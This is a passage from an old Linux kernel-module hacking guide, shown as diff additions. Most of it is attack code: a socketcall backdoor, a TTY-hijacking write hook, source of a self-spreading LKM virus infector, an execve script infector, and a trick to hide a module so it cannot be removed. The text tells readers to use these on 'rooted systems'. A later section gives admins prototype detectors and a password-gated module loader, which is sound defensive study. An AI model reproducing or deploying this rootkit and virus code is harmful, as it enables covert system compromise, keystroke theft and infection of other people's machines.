+concerning socket-operations see I.2). Inside the hacked systemcall the code
+first issues a normal systemcall. After that the return value and call variables
+are checked. If it was a receive Socketcall and the 'packetsize' (...nothing to
+do with TCP/IP packets...) is ok it will check the contents which was received.
+If it can find our magic contents, the code can be sure,that we (hacker) want to
+start the backdoor program. This is done by my_execve(...).<br>
+In my opinion this approach is very good, it would also be possible to wait
+for a speciel connect / close pattern, just be creative.<br> 
+Please remember that the methods mentioned above need a service listing on a
+certain port, because the receive function is only issued by daemons receiving
+data from an established connection. This is a disadvantage, because it could be
+a bit suspect for some paranoid admins out there. Test those backdoor LKM ideas
+first on your system to see what will happen. Find your favourite way of
+backdoor'ing the sys_socketcall, and use it on your rooted systems.
+
+<H3><A NAME="II.7."></A>7. Ways to TTY Hijacking</h3>
+
+TTY hijacking is very interesting and also something used since a very very long
+time. We can grab every input from a TTY we specify throug its major and minor
+number. In Phrack 50 halflife published a really good LKM doing this. The
+following code is ripped from his LKM. It should show every beginner the basics
+of TTY hijacking though its no complete implementation, you cannot use it in any
+useful way, because I did <i>not</i> implement a way of logging the TTY input made
+by the user. It's just for those of you who want to understand the basics, so
+here we go :
+
+<xmp>
+#define MODULE
+#define __KERNEL__
+#include <linux/module.h>
+#include <linux/kernel.h>
+#include <asm/unistd.h>
+#include <sys/syscall.h>
+#include <sys/types.h>
+#include <asm/fcntl.h>
+#include <asm/errno.h>
+#include <linux/types.h>
+#include <linux/dirent.h>
+#include <sys/mman.h>
+#include <linux/string.h>
+#include <linux/fs.h>
+#include <linux/malloc.h>
+#include <asm/io.h>
+#include <sys/sysmacros.h>
+
+
+int errno;
+
+/*the TTY we want to hijack*/
+int tty_minor = 2;
+int tty_major = 4;
+
+extern void* sys_call_table[];
+
+/*we need the write systemcall*/
+static inline _syscall3(int, write, int, fd, char *, buf, size_t, count);
+
+void *original_write;
+
+/* check if it is the tty we are looking for */
+int is_fd_tty(int fd)
+{
+ struct file *f=NULL;
+ struct inode *inode=NULL;
+ int mymajor=0;
+ int myminor=0;
+
+ if(fd >= NR_OPEN || !(f=current->files->fd[fd]) || !(inode=f->f_inode))
+  return 0;
+ mymajor = major(inode->i_rdev);
+ myminor = minor(inode->i_rdev);
+ if(mymajor != tty_major) return 0;
+ if(myminor != tty_minor) return 0;
+  return 1;
+}
+
+/* this is the new write(2) replacement call */
+extern int new_write(int fd, char *buf, size_t count)
+{
+ int r;
+ char *kernel_buf;
+
+ if(is_fd_tty(fd))
+ {
+  kernel_buf = (char*) kmalloc(count+1, GFP_KERNEL);   
+  memcpy_fromfs(kernel_buf, buf, count);
+
+  /*at this point you can output buf whereever you want, it represents
+  every input on the TTY device referenced by the chosen major / minor
+  number
+  I did not implement such a routine, because you will see a complete &
+  very good TTY hijacking tool by halflife in appendix A */
+
+  kfree(kernel_buf);
+ }
+ sys_call_table[SYS_write] = original_write;
+ r = write(fd, buf, count); 
+ sys_call_table[SYS_write] = new_write;
+ if(r == -1) return -errno;
+  else return r;
+}
+
+int init_module(void)                   
+{
+ /*you should know / understand this...*/
+ original_write = sys_call_table[SYS_write];
+ sys_call_table[SYS_write] = new_write;
+ return 0;
+}
+
+
+void cleanup_module(void)
+{
+ /*no more hijacking*/
+ sys_call_table[SYS_write] = original_write;
+}
+</xmp>
+
+
+The comments should make this code easy to read.The general idea is to intercept
+sys_write (see 4.2) and filtering the fd value as I mentioned in 4.2. After
+checking fd for the TTY we want to snoop, get the data written and write it
+to some log (not implemented in the example above).There are several ways where
+you can store the logs.halflife used a buffer (accessible through an own device)
+which is a good idea (he can also control his hijack'er using ioctl-commands
+on his device).<br>
+I personally would recommand storing the logs in hidden (through LKM) file,
+and making the controlling through some kind of IPC. Take the way which works
+on your rooted system.<br>
+
+<H3><A NAME="II.8."></A>8. Virus writing with LKMs</h3>
+
+Now we will leave the hacking part for a second and take a look at the 
+world of virus coding (the ideas discussed here could also be
+interesting for hackers, so read on...). I will concentrate this discussion
+on the LKM infector made by Stealthf0rk/SVAT. In appendix A you will get the 
+complete source, so this section will only discuss important techniques and 
+functions. This LKM requires a Linux system (it was tested on a 2.0.33 system)
+and kerneld installed (I will explain why).<br>
+First of all you have to know that this LKM infector does not infect normal
+elf <i>executables</i> (would also be possible,I will come to that point later->7.1),
+it only infects <i>modules</i>, which are loaded / unloaded. This loading / unloading
+is often managed by kerneld (see I.7). So imagine a module infected with the
+virus code; when loading this module you also load the virus LKM which uses
+hiding features (see 8). This virus module intercepts the sys_create_module
+and sys_delete_module (see I.2) systemcalls for further infection. Whenever
+a module is unloaded on that system it is infected by the new sys_delete_module
+systemcall. So every module requested by kerneld (or manually) will be infected
+when unloaded.<br>
+You could imagine the following scenario for the first infection :
+<ul>
+<li>admin is searching a network driver for his new interface card (ethernet,...)<br>
+<li>he starts searching the web <br>
+<li>he finds a driver module which should work on his system & downloads it<br>
+<li>he installs the module on his system [the module <i>is</i> infected]<br>
+--> the infector is installed, the system is compromised<br>
+</ul>
+Of course, he did not download the source, he was lazy and took the risks using
+a binary file. So admins <i>never</i> trust any binary files (esp. modules).
+So I hope you see the chances / risks of LKM infectors, now let's look a bit
+closer at the LKM infector by SVAT.<br>
+Imagine you have the source for the virus LKM (a simple module, which intercepts
+sys_create_module / sys_delete_module and some other [more tricky] stuff). The
+first question would be how to infect an existing module (the host module). Well
+let's do some experimenting. Take two modules and 'cat' them together like
+
+<xmp>
+# cat module1.o >> module2.o
+</xmp>
+
+After this try to insmod the resulting module2.o (which also includes module1.o
+at its end).
+
+<xmp>
+# insmod module2.o
+</xmp>
+
+Ok it worked, now check which modules are loaded on your system
+
+<xmp>
+# lsmod
+Module         Pages    Used by
+module2        1       0
+</xmp>
+
+So we know that by concatenating two modules the first one (concerning object
+code) will be loaded, the second one will be ignored. And there will be no error
+saying that insmod can not load corrupted code or so.<br>
+With this in mind, it should be clear that a host module could be infected by
+
+<xmp>
+cat host_module.o >> virus_module.o
+ren virus_module.o host_module.o
+</xmp>
+
+This way loading host_module.o will load the virus with all its nice LKM
+features. But there is one problem, how do we load the actual host_module ? It
+would be very strange to a user / admin when his device driver would do nothing. 
+Here we need the help of kerneld. As I said in I.7 you can use kerneld to load
+a module. Just use request_module("module_name") in your sources.This will force
+kerneld to load the specified module. But where do we get the original host
+module from ? It is packed in host_module.o (together with virus_module.o). So
+after compiling your virus_module.c to its objectcode you have to look at its
+size (how many bytes). After this you know where the original host_module.o will
+begin in the packed one (you must compile the virus_module two times : the first
+one to check the objectcode size, the second one with the source changed
+concerning objectsize which must be hardcoded...). After these steps your
+virus_module should be able to extract the original host_module.o from the
+packed one. You have to save this extracted module somewhere, and load it via
+request_module("orig_host_module.o"). After loading the original host_module.o
+your virus_module (which is also loaded from the insmod [issued by user, or
+kerneld]) can start infecting any loaded modules.<br>
+Stealthf0rk (SVAT) used the sys_delete_module(...) systemcall for doing the
+infection, so let's take a look at his hacked systemcall (I only added some
+comments) :
+
+<xmp>
+/*just the hacked systemcall*/
+int new_delete_module(char *modname)
+{
+ /*number of infected modules*/
+ static int infected = 0;
+ int retval = 0, i = 0;
+ char *s = NULL, *name = NULL;
+ /*call the original sys_delete_module*/       
+ retval = old_delete_module(modname); 
+
+  if ((name = (char*)vmalloc(MAXPATH + 60 + 2)) == NULL)
+  return retval;
+ /*check files to infect -> this comes from hacked sys_create_module; just
+ a feature of *this* LKM infector, nothing generic for this type of virus*/
+ for (i = 0; files2infect[i][0] && i < 7; i++) 
+ {
+  strcat(files2infect[i], ".o"); 
+  if ((s  = get_mod_name(files2infect[i])) == NULL) 
+  {
+   return retval;
+  }
+  name = strcpy(name, s);
+  if (!is_infected(name)) 
+  {
+   /*this is just a macro wrapper for printk(...)*/
+   DPRINTK("try 2 infect %s as #%d\n", name, i);
+   /*increase infection counter*/
+   infected++;
+   /*the infect function*/
+   infectfile(name);
+  }
+  memset(files2infect[i], 0, 60 + 2);
+ } /* for */
+ /* its enough */
+ /*how many modules were infected, if enough then stop and quit*/
+ if (infected >= ENOUGH)
+  cleanup_module();
+ vfree(name);
+ return retval;
+}
+</xmp>
+
+Well there is only one function interesting in this systemcall: infectfile(...).
+So let's examine that function (again only some comments were added by me) :
+
+<xmp>
+int infectfile(char *filename)
+{
+ char *tmp = "/tmp/t000";
+ int in = 0, out = 0;
+ struct file *file1, *file2;
+ /*don't get confused, this is a macro define by the virus. It does the
+ kernel space -> user space handling for systemcall arguments(see I.4)*/
+ BEGIN_KMEM
+ /*open objectfile of the module which was unloaded*/
+ in = open(filename, O_RDONLY, 0640);
+ /*create a temp. file*/
+ out = open(tmp, O_RDWR|O_TRUNC|O_CREAT, 0640);
+ /*see BEGIN_KMEM*/
+ END_KMEM
+ DPRINTK("in infectfile: in = %d out = %d\n", in, out);
+ if (in <= 0 || out <= 0)
+  return -1;
+ file1 = current->files->fd[in];
+ file2 = current->files->fd[out];
+ if (!file1 || !file2)
+  return -1;
+ /*copy module objectcode (host) to file2*/
+ cp(file1, file2);
+ BEGIN_KMEM
+ file1->f_pos = 0;
+ file2->f_pos = 0;
+ /* write Vircode [from mem] */
+ DPRINTK("in infetcfile: filenanme = %s\n", filename);
+ file1->f_op->write(file1->f_inode, file1, VirCode, MODLEN);
+ cp(file2, file1);
+ close(in);
+ close(out);
+ unlink(tmp);
+ END_KMEM
+ return 0;
+}        
+</xmp>
+I think the infection function should be quite clear.<br>
+There is only thing left which I think is necessary to discuss : How does
+the infected module first start the virus, and load the original module (we know
+the theory, but how to do it in reality) ?<br>
+For answering this question lets take a look at a function called 
+load_real_mod(char *path_name, char* name) which manages that problem :
+
+<xmp>
+/* Is that simple: we disinfect the module [hide 'n seek]
+ * and send a request to kerneld to load
+ * the orig mod. N0 fuckin' parsing for symbols and headers
+ * is needed - cool.
+ */
+int load_real_mod(char *path_name, char *name)
+{      
+ int r = 0, i = 0;             
+ struct file *file1, *file2;
+ int in =  0, out = 0; 
+
+ DPRINTK("in load_real_mod name = %s\n", path_name);
+ if (VirCode)
+  vfree(VirCode);
+ VirCode = vmalloc(MODLEN);
+ if (!VirCode)
+   return -1;
+ BEGIN_KMEM
+ /*open the module just loaded (->the one which is already infected)*/
+ in = open(path_name, O_RDONLY, 0640);
+ END_KMEM
+ if (in <= 0)
+  return -1;
+ file1 = current->files->fd[in];
+ if (!file1)
+  return -1;
+ /* read Vircode [into mem] */
+ BEGIN_KMEM
+ file1->f_op->read(file1->f_inode, file1, VirCode, MODLEN);
+ close(in);
+ END_KMEM
+ /*split virus / orig. module*/
+ disinfect(path_name);
+ /*load the orig. module with kerneld*/
+ r = request_module(name);
+ DPRINTK("in load_real_mod: request_module = %d\n", r);
+ return 0;
+}      
+</xmp>        
+
+It should be clear *why* this LKM infector need kerneld now, we need to load the
+original module by requesting it with request_module(...).
+I hope you understood this very basic journey through the world of LKM infectors
+(virus). The next sub sections will show some basic extensions / ideas concering
+LKM infectors.
+
+<H4><A NAME="II.8.1."></A>8.1  How a LKM virus can infect any file (not just modules)</h4>
+
+Please don't blame me for not showing a working example of this idea, I just
+don't have the time to implement it at the moment (look for further releases).
+As you saw in II.4.2 it is possible to catch the execute of every file using
+an intercepted sys_execve(...) systemcall. Now imagine a hacked systemcall which
+appends some data to the program that is going to be executed. The next time
+this program is started, it first starts our added part and then the original
+program (just a basic virus scheme). We all know that there are some existing
+Linux / unix viruses out there, so why don't we try to use LKMs infect our elf
+executables not just modules.We could infect our executables,in a way that they
+check for UID=0 and then load again our infection module... I hope you
+understood the general idea. <br>
+I have to admit, that the modification needed to elf files is quite tricky, but
+with enough time you could do it (it was done several times before, just take a
+look at existing Linux viruses).<br> 
+First of all you have to check for the file type which is going to be execute 
+by sys_execve(...). There are several ways to do it; one of the fastest is to
+read some bytes from the file and checking them against the ELF string. After
+this you can use write(...) / read(...) / ... calls to modify the file, look at
+the LKM infector to see how it does it.<br>
+My theory would stay theory without any proof, so I present a very easy and
+useless LKM *script* infector. You cannot do anything virus like with it, it just
+infects a script with certain commands and nothing else; no real virus features.<br>
+I show you this example as a concept of LKMs infecting any file you execute.
+Even Java files could be infected, because of the features provided by the Linux
+kernel. Here comes the little LKM script infector :
+
+<xmp>
+#define __KERNEL__
+#define MODULE
+
+/*taken from the original LKM infector; it makes the whole LKM a lot easier*/
+#define BEGIN_KMEM {unsigned long old_fs=get_fs();set_fs(get_ds());
+#define END_KMEM   set_fs(old_fs);}
+
+#include <linux/version.h>
+#include <linux/mm.h>
+#include <linux/unistd.h>
+#include <linux/fs.h>
+#include <linux/types.h>
+#include <asm/errno.h>
+#include <asm/string.h>
+#include <linux/fcntl.h>
+#include <sys/syscall.h>
+#include <linux/module.h>
+#include <linux/malloc.h>
+#include <linux/kernel.h>
+#include <linux/kerneld.h>
+
+int __NR_myexecve;
+
+extern void *sys_call_table[];
+
+int (*orig_execve) (const char *, const char *[], const char *[]);
+
+int (*open)(char *, int, int);
+int (*write)(unsigned int, char*, unsigned int);
+int (*read)(unsigned int, char*, unsigned int);
+int (*close)(int);
+
+
+/*see II.4.2 for explanation*/
+int my_execve(const char *filename, const char *argv[], const char *envp[])
+{
+    long __res;
+    __asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_myexecve), "b"((long) (filename)), "c"((long) (argv)), "d"((long) (envp)));
+    return (int) __res;
+}
+
+/*infected execve systemcall + infection routine*/
+int hacked_execve(const char *filename, const char *argv[], const char *envp[])
+{
+ char *test, j;
+ int ret;
+ int host = 0;
+
+ /*just a buffer for reading up to 20 files (needed for identification of
+ execute file*/
+ test = (char *) kmalloc(21, GFP_KERNEL);
+
+ /*open the host script, which is going to be executed*/
+ host=open(filename, O_RDWR|O_APPEND, 0640);
+
+ BEGIN_KMEM
+
+ /*read the first 20 bytes*/
+ read(host, test, 20);  
+
+ /*is it a normal shell script (as you see, you can modify this for *any*
+ executable*/
+ if (strstr(test, "#!/bin/sh")!=NULL)
+ { 
+  /*a little debug message*/
+  printk("<1>INFECT !\n"); 
+  /*we are friendly and attach a peaceful command*/
+  write(host, "touch /tmp/WELCOME", strlen("touch /tmp/WELCOME"));
+ }
+ END_KMEM
+ /*modification is done, so close our host*/
+ close(host);
+ /*free allocated memory*/ 
+ kfree(test);
+ /*execute the file (the file is execute WITH the changes made by us*/
+ ret = my_execve(filename, argv, envp);
+ return ret;
+}
+
+
+int init_module(void)                /*module setup*/
+{
+ __NR_myexecve = 250;
+ while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0)
+  __NR_myexecve--;
+ orig_execve = sys_call_table[SYS_execve];
+ if (__NR_myexecve != 0) 
+ {
+  printk("<1>everything OK\n");
+  sys_call_table[__NR_myexecve] = orig_execve; 
+  sys_call_table[SYS_execve] = (void *) hacked_execve;
+ }
+
+ /*we need some functions*/
+ open = sys_call_table[__NR_open]; 
+ close = sys_call_table[__NR_close];     
+ write = sys_call_table[__NR_write];
+ read = sys_call_table[__NR_read];
+ return 0;
+}
+
+void cleanup_module(void)            /*module shutdown*/
+{
+ sys_call_table[SYS_execve]=orig_execve;                                      
+}
+</xmp>
+
+This is too easy to waste some words on it. Of course, this module does
+<i>not</i> need kerneld for spreading (interesting for kernel without kerneld
+support). <br>
+I hope you got the idea on infecting any executable, this is a very strong
+method of killing large systems.
+
+<H4><A NAME="II.8.2."></A>8.2  How can a LKM virus help us to get in</h4>
+
+As you know virus coders are not hackers, so what about interesting features for
+hackers. Think about this problem (only ten seconds), you should realize, that
+a whole system could be yours by introducing a trojan (infected) LKM.<br>
+Remember all the nice hacks we discussed till now.Even without trojans you could 
+hack a system with LKMs. Just use a local buffer overflow to load a LKM in your
+home directoy. Believe me, it is easier to infect a system with a real good LKM
+than doing the same stuff as root again and again. It's more elagent to let the
+LKM make the work for you. Be CREATIVE...
+
+<H3><A NAME="II.9."></A>9. Making our LKM invisible & unremovable </h3>
+
+Now it's time to start talking about the most important / interesting Hack I 
+will present. This idea comes from plaguez's LKM published in Phrack (other 
+people like Solar Designer discussed this before...).<br>
+So far we are able to hide files, processes, directories, and whatever we
+want. But we <i>cannot</i> hide our own <i>LKM</i>. Just load a LKM and take a look at
+/proc/modules. There are many ways we can solve this problem. The first solution
+could be a partial file hiding (see II.4.3). This would be easy to implement,
+but there is a better more advanced and secure way. Using this technique you
+must also intercept the sys_query_module(...) systemcall. An example of this
+approach can be seen in A-b.<br>
+As I explained in I.1 a module is finally loaded by issuing a init_module(...)
+systemcall which will start the module's init function. init_module(...) gets
+an argument : struct mod_routines *routines.  This structure contains very
+important information for loading the LKM. It is possible for us to manipulate
+some data from this structure in a way our module will have no name and no
+references. After this the system will no longer show our LKM in /proc/modules,
+because it ignores LKMs with no name and a refernce count equal to 0. The
+following lines show how to access the part of mod_routines, in order to hide
+the module.<br>
+
+<xmp>
+/*from Phrack & AFHRM*/
+int init_module()
+{
+  register struct module *mp asm("%ebp");   // or whatever register it is in
+  *(char*)mp->name=0;
+  mp->size=0;
+  mp->ref=0;
+ ...
+</xmp>
+
+This code trusts in the fact that gcc did not manipulate the ebp register
+because we need it in order to find the right memory location. After finding
+the structure we can set the structure's name and references members to 0 which
+will make our module invisible and also unremovable, because you can only remove
+LKMs which the kernel knows, but our module is unknow to the kernel.<br>
+Remember that this trick only works if you use gcc in way it does not touch the
+register you need to access for getting the structure.You must use the following
+gcc options :
+
+<xmp>
+#gcc -c -O3 -fomit-frame-pointer module.c 
+</xmp>
+
+fomit-frame-pointer says cc not to keep frame pointer in registers for functions
+that don't need one. This keeps our register clean after the function call of
+init_module(...), so that we can access the structure.<br>
+In my opinion this is the most important trick, because it helps us to develope
+hidden LKMs which are also unremovable.
+
+<H3><A NAME="II.10."></A>10. Other ways of abusing the Kerneldaemon</h3>
+
+In II.8 you saw one way of abusing kerneld. It helped us to spread the LKM
+infector. It could also be helpful for our LKM backdoor (see II.5.1). Imagine
+the socketcall loading a module instead of starting our backdoor shellscript or
+program. You could load a module adding an entry to passwd or inetd.conf. After
+loading this second LKM you have many possibilities of changing systemfiles. 
+Again, be creative.  
+
+<H3><A NAME="II.11."></A>11. How to check for presents of our LKM</h3>
+
+We learned many ways a module can help us to subvert a system. So imagine you
+code yourself a nice backdoor tool (or take an existing) which isn't implemented
+in the LKM you use on that system; just something like pingd, WWW remote shell,
+shell, .... How can you check after logging in on the system that your LKM is 
+still working? Imagine what would happen if you enter a session and the admin is
+waiting for you without your LKM loaded (so no process hiding etc.). So you 
+start doing you job on that system (reading your own logs, checking some mail
+traffic and so on) and every step is monitored by the admin. Well no good 
+situation, we must know that our LKM is working with a simple check.<br>
+I suppose the following way is a good solution (although there may be many other
+good ones):
+<ul>
+<li> implement a special systemcall in your module<br>
+<li> write a little user space program checking for that systemcall<br>
+</ul>
+Here is a module which implements our 'check systemcall' :
+
+<xmp>
+#define MODULE
+#define __KERNEL__
+
+#include <linux/module.h>
+#include <linux/kernel.h>
+#include <asm/unistd.h>
+#include <sys/syscall.h>
+#include <sys/types.h>
+#include <asm/fcntl.h>
+#include <asm/errno.h>
+#include <linux/types.h>
+#include <linux/dirent.h>
+#include <sys/mman.h>
+#include <linux/string.h>
+#include <linux/fs.h>
+#include <linux/malloc.h>
+
+#define SYS_CHECK 200
+
+extern void* sys_call_table[];
+
+
+int sys_check()
+{
+ return 666;    
+}
+
+int init_module(void)                /*module setup*/
+{
+ sys_call_table[SYS_CHECK]=sys_check;
+ return 0;
+}
+
+void cleanup_module(void)            /*module shutdown*/
+{}
+</xmp>
+
+If you issue a systemcall with the number 200 in eax we should get a return of
+666. So here is our user space program checking for this :
+
+<xmp>
+#include <linux/errno.h>
+#include <sys/syscall.h>
+#include <errno.h>
+
+extern void *sys_call_table[];
+
+int check()
+{   
+ __asm__("movl $200,%eax
+         int $0x80");
+}
+
+main()
+{
+ int ret;
+ ret = check();
+ if (ret!=666) 
+  printf("Our module is *not* present !!\n");
+ else
+  printf("Our module is present, continue...\n");
+}
+</xmp>
+
+
+In my opinion this is one of the easiest ways to check for presents of our LKM,
+just try it.
+
+
+<u><b>
+<H2>III. Soltutions (for admins)</H2>
+</u></b>
+<P><P>
+
+
+<H3><A NAME="III.1."></A>1. LKM Detector Theory & Ideas</h3>
+
+I think it is time to help admins securing their system from hostile LKMs.<br>
+Before explaining some theories remember the following for a secure system :<br>
+<ul>
+<li> never install <i>any</i> LKMs you don't have the sources for (of course, this is
+  also relevant for normal executables)<br>
+<li> if you have the sources, check them (if you can). Remember the tcpd trojan 
+  problem. Large software packets are mostly quite complex to understand, but
+  if you need a very secure system you should analyse the source code.<br>
+</ul>
+Even if you follow those tips it could be possible that an intruder activates an
+LKM on your system (overflows etc.). <br>
+So what about a LKM logging every module loaded, and denying every load attempt
+from a directory different from a secure one (to avoid simple overflows; that's no
+perfect way...). The logging can be easily done by intercepting the
+create_module(...) systemcall. The same way you could check for the directory
+the loaded module comes from. <br>
+It would also be possible to deny any module loading, but this is a very bad way,
+because you really need them. So what about modifying module loading in a way
+you can supply a password, which will be checked in your intercepted
+create_module(...). If the password is correct the module will be loaded, if not
+it will be dropped.<br>
+It should be clear that you have to hide your LKM to make it unremovable. So
+let's take a look at some prototype implemantations of the logging LKM and the
+password protected create_module(...) systemcall.<br>
+
+<H4><A NAME="III.1.1."></A>1.1  Practical Example of a prototype Detector</h4>
+
+Nothing to say about that simple implementation, just intercept
+sys_create_module(...) and log the names of modules which were loaded.
+
+<xmp>
+
+#define MODULE
+#define __KERNEL__
+
+#include <linux/module.h>
+#include <linux/kernel.h>
+#include <asm/unistd.h>
+#include <sys/syscall.h>
+#include <sys/types.h>
+#include <asm/fcntl.h>
+#include <asm/errno.h>
+#include <linux/types.h>
+#include <linux/dirent.h>
+#include <sys/mman.h>
+#include <linux/string.h>
+#include <linux/fs.h>
+#include <linux/malloc.h>
+
+extern void* sys_call_table[];
+
+
+int (*orig_create_module)(char*, unsigned long);
+
+
+int hacked_create_module(char *name, unsigned long size)
+{
+ char *kernel_name;
+ char hide[]="ourtool";
+ int ret;
+ kernel_name = (char*) kmalloc(256, GFP_KERNEL);
+ memcpy_fromfs(kernel_name, name, 255);
+
+ /*here we log to syslog, but you can log where you want*/
+ printk("<1> SYS_CREATE_MODULE : %s\n", kernel_name);
+ ret=orig_create_module(name, size);
+ return ret;
+}
+
+
+int init_module(void)                /*module setup*/
+{
+ orig_create_module=sys_call_table[SYS_create_module];
+ sys_call_table[SYS_create_module]=hacked_create_module;
+ return 0;
+}
+
+void cleanup_module(void)            /*module shutdown*/
+{
+ sys_call_table[SYS_create_module]=orig_create_module;                                      
+}
+
+</xmp>
+
+This is all you need, of course you should add the lines required for hiding the
+module, but this is no problem. After making it unremovable this way, a hacker
+can only modify the log file, but you could also save your logs, to a file
+unaccessible for the hacker (see II.1 for required tricks).
+Of course you can also intercept sys_init_module(...)which would also show every
+module, that's just a matter of taste.
+
+
+<H4><A NAME="III.1.2."></A>1.2  Practical Example of a prototype password protected create_module(...)</h4>
+
+
+This subsection will deal with the possibility to add authentication to module
+loading. We need two things to manage this task :
+<ul>
+<li> a way to check module loading (easy)<br>
+<li> a way to authenticate (quite difficult)<br>
+</ul>
+The first point is very easy to code, just intercept sys_create_module(...) and
+check some variable, which tells the kernel wether this load process is legal.
+But how to do authentication. I must admit that I did not spend many seconds on
+thinking about this problem, so the solution is more than bad, but this is a LKM
+article, so use your brain, and create something better. My way to do it, was
+to intercept the stat(...) systemcall, which is used if you type any command,and
+the system needs to search it. So just type a password as command and the LKM
+will check it in the intercepted stat call [I know this is more than insecure;
+even a Linux starter would be able to defeat this authentication scheme, but
+(again) this is not the point here...]. Take a look at my implemtation (I ripped
+lots of from existing LKMs like the one by plaguez...):<br>
+
+<xmp>
+#define MODULE
+#define __KERNEL__
+
+#include <linux/module.h>
+#include <linux/kernel.h>
+#include <asm/unistd.h>
+#include <sys/syscall.h>
+#include <sys/types.h>
+#include <asm/fcntl.h>
+#include <asm/errno.h>
+#include <linux/types.h>
+#include <linux/dirent.h>
+#include <sys/mman.h>
+#include <linux/string.h>
+#include <linux/fs.h>
+#include <linux/malloc.h>
+#include <sys/stat.h>
+
+
+extern void* sys_call_table[];
+
+/*if lock_mod=1 THEN ALLOW LOADING A MODULE*/
+int lock_mod=0;
+
+int __NR_myexecve;
+
+/*intercept create_module(...) and stat(...) systemcalls*/
+int (*orig_create_module)(char*, unsigned long);
+int (*orig_stat) (const char *, struct old_stat*);
+
+char *strncpy_fromfs(char *dest, const char *src, int n)
+{
+ char *tmp = src;
+ int compt = 0;
+
+ do {
+  dest[compt++] = __get_user(tmp++, 1);
+ }
+ while ((dest[compt - 1] != '\0') && (compt != n));
+
+ return dest;
+}
+
+int hacked_stat(const char *filename, struct old_stat *buf)
+{
+ char *name;
+ int ret;
+ char *password = "password"; /*yeah, a great password*/
+
+ name    = (char *) kmalloc(255, GFP_KERNEL);
+
+ (void) strncpy_fromfs(name, filename, 255);
+
+ /*do we have our password ?*/
+ if (strstr(name, password)!=NULL) 
+ { 
+  /*allow loading a module for one time*/
+  lock_mod=1; 
+  kfree(name);
+  return 0;
+ } 
+ else 
+ {
+  kfree(name);
+  ret = orig_stat(filename, buf);
+ }
+ return ret;
+}
+
+int hacked_create_module(char *name, unsigned long size)
+{
+ char *kernel_name;
+ char hide[]="ourtool";
+ int ret;
+ if (lock_mod==1)
+ {
+  lock_mod=0;
+  ret=orig_create_module(name, size);
+  return ret;
+ }
+ else
+ {
+  printk("<1>MOD-POL : Permission denied !\n");
+  return 0;
+ }
+ return ret;
+}
+
+
+int init_module(void)                /*module setup*/
+{
+ __NR_myexecve = 200;
+
+ while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0)
+  __NR_myexecve--;
+ sys_call_table[__NR_myexecve]=sys_call_table[SYS_execve];                                       
+
+ orig_stat=sys_call_table[SYS_prev_stat];
+ sys_call_table[SYS_prev_stat]=hacked_stat;
+
+ orig_create_module=sys_call_table[SYS_create_module];
+ sys_call_table[SYS_create_module]=hacked_create_module;
+
+ printk("<1>MOD-POL LOADED...\n");
+ return 0;
+}
+
+void cleanup_module(void)            /*module shutdown*/
+{
+ sys_call_table[SYS_prev_stat]=orig_stat;                                      
+ sys_call_table[SYS_create_module]=orig_create_module;                                      
+}
+</xmp>
+
+This code should be clear. The following list tells you what to improve in this
+LKM in order to make it more secure, perhaps a bit too paranoid :) :
+<ul>
+<li>find another way to authenticate (use your own user space interface, with your
+  own systemcalls; use userID (not just a plain password); perhaps you have a
+  biometric device -> read documentation and code your device driver for Linux
+  and use it ;)  ...) BUT REMEMBER: the most secure hardware protection (dongles,
+  biometric, smartcard systems can often be defeated because of a very insecure
+  software interface;. You could secure your whole system with a mechanism like
+  that. Control your whole kernel with a smartcard  :)<br>
+  Another not so 'extreme' way would be to implement your own systemcall which is
+  responsible for authentication. (see II.11 for an example of creating your
+  own systemcall).<br>
+<li>find a better way to check in sys_create_module(...). Checking a variable is
+  not very secure, if someone rooted your system he could patch the memory (see
+  the next part)<br>
+<li>find a way to make it impossible for an attacker to use your authentication
+  for insmod'ing his LKM <br>
+<li>add hiding features<br>
+<li>...<br>
+</ul>
+
+You can see, there is some work to do. But even with those steps, your system
+cannot be totally secure.If someone rooted the system he could find other tricks
+to load his LKM (see next part); perhaps he even does not need a LKM, because he
+only rooted thesystem, and don't want to hide files / processeses (and the other
+wonderfull things possible with LKMs).
+
+<H3><A NAME="III.2."></A>2. Anti-LKM-Infector ideas</h3
+
+In this section I will concentrate on the LKM Infector by SVAT, because I cannot
+present a generic LKM infection scanner. Perhaps this would be possible with
+something like heuristic tests or something similar. There are many ways you
+can implement a LKM infector scanner. You can divide them into two big groups :
+<ul>
+<li> memory resident (realtime) scanner (like TSR virus scanner in DOS;or VxD
+  scanner virus in WIN9x)<br>
+<li> file checking scanner (checking module files for signs of an infection)<br>
+</ul>
+The first method is possible through intercepting sys_create_module (or the
+init_module call). The second approach needs something characteristic which you
+may find in any infected file. We know that the LKM infector appends two module
+files. So we could check for two ELF headers / signatures. Of course, any other
+LKM infector could use a improved method (encryption, selfmodifying code etc.).
+I won't present a file checking scanner, because you just have to write a little
+(user space) programm that reads in the module, and checks for twe ELF headers
+(the 'ELF' string, for example).
+
+<H3><A NAME="III.3."></A>3. Make your programs untraceable (theory)</h3>
+
+Now it's time to beat hackers snooping our executables. As I said before strace
+is the tool of our choice. I presented it as a tool helping us to see which 
+systemcalls are used in certain programs. Another very interesting use of strace
+is outlined in the paper 'Human to Unix Hacker' by TICK/THC. He shows us how to
+use strace for TTY hijacking. Just strace your neighbours shell,and you will get
+every input he makes. So you admins should realize the danger of strace. The
+program strace uses the following API function :<br>
+
+<xmp>
+#include <sys/ptrace.h>
+
+int ptrace(int request, int pid, int addr, int data);
+</xmp>
+
+Well how can we control strace? Don't be silly and remove strace from your 
+system, and think everything is ok - as I show you ptrace(...) is a library 
+function. Every hacker can code his own program doing the same as strace. So 
+we need a better more secure solution. Your first idea could be to search for
+an interesting systemcall that could be responsible for the tracing; There is
+a systemcall doing that; but let's look at another approach before.<br>
+Remember II.5.1 : I talked about the task flags. There were two flags which
+stand for traced processes. This is the way we can control the tracing on our
+system. Just intercept the sys_execve(...) systemcall and check the current
+process for one of the two flags set.<br>
+
+<H4><A NAME="III.3.1."></A>3.1  Practical Example of a prototype Anti-Tracer</h4>
+
+This is my little LKM called 'Anti-Tracer'. It basicly implements the ideas from
+4. The flags field from our process can easily be retrieved using the current
+pointer (task structure). The rest is nothing new.
+
+<xmp>
+#define MODULE
+#define __KERNEL__
+
+#include <linux/module.h>
+#include <linux/kernel.h>
+#include <asm/unistd.h>
+#include <sys/syscall.h>
+#include <sys/types.h>
+#include <asm/fcntl.h>
+#include <asm/errno.h>
+#include <linux/types.h>
+#include <linux/dirent.h>
+#include <sys/mman.h>
+#include <linux/string.h>
